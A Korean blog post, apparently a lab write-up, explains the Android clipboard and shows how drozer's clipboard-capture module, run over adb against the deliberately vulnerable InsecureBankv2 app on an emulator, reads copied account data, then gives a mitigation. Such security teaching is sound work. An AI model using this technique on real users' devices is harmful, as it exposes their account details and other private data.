상세 컨텐츠

본문 제목

[Android Reversing] Android Pasteboard vulnerability (InsecureBankv2, 안드로이드 클립보드 취약점)

REVERSING/Android

by koharin 2021. 7. 6. 23:03

본문

728x90
반응형

Android Clipboard & Vulnerability


Android Clipboard는 앱 내에서나, 앱과 앱 사이에서의 copy and paste 기능을 clipboard로 제공한다.

데이터를 copy할 때, 대응하는 clip object (ClipData)가 구성되고, 애플리케이션에 permission이 부여됐으면 clipboard에 해당 데이터를 놓는다. clipboard는 한 번에 한 clip object만 처리할 수 있다. 만약 애플리케이셔넹서 clipboard에 clip object를 놓으면, 이전 clip object는 없어진다.

데이트를 paste할 때, 애플리케이션은 clip object를 검색하고 MIME type에 따라 데이터를 처리한다. clipboard에 데이터를 copy할 때와 다르게, 애플리케이션이 clipboard에서 데이터에 접근할 때는 권한이 필요없다. 또한, 애플리케이션은 listener를 등록하여 clip 변화에 대해 모니터링할 수도 있다.

ClipManager는 clipboard에 copy, monitor, paste를 관리한다. 애플리케이션은 특별한 권한없이 ClipManager에 접근할 수 있다.

ClipboardManager mClipboard = (ClipboardManager)getSystemService(Context.CLIPBOARD_SERVICE);

 

 

Exploit


계정 정보를 복사한다. 그럼 clipboard에 From Account에 대한 데이터가 있을 것이다.

 

$ adb -s emulator-5554 shell ps | grep insecurebankv2
u0_a61    7423  1550  1271472 112016          0 00000000 S com.android.insecurebankv2

$ adb -s emulator-5554 forward tcp:31415 tcp:31415 # port forwarding
31415

$ drozer console connect # connect to drozer
dz> module search clipboard
metall0id.post.clipboard

dz> module install clipboard
You do not have a drozer Module Repository.
Would you like to create one? [yn] y
Path to new repository: ./metall0id.post.clipboar
Initialised repository at ./metall0id.post.clipboar.

Processing metall0id.post.clipboard... Done.

Successfully installed 1 modules, 0 already installed.
dz> run post.capture.clipboard

초기에 clipboard에 값이 없었는데, clipboard에 From Accounts 정보 복사 후 run post.capture.clipboard 로 확인해봤을 때 clipboard에 From Account 정보 값을 가지는 것을 확인할 수 있다.

 

 

대응방안


activity_do_transfer.xml 파일에서 EditText에 android:editable="false" 속성을 추가해서 Clipboard를 통한 복사, 붙여넣기가 불가능하도록 한다.

728x90
반응형

관련글 더보기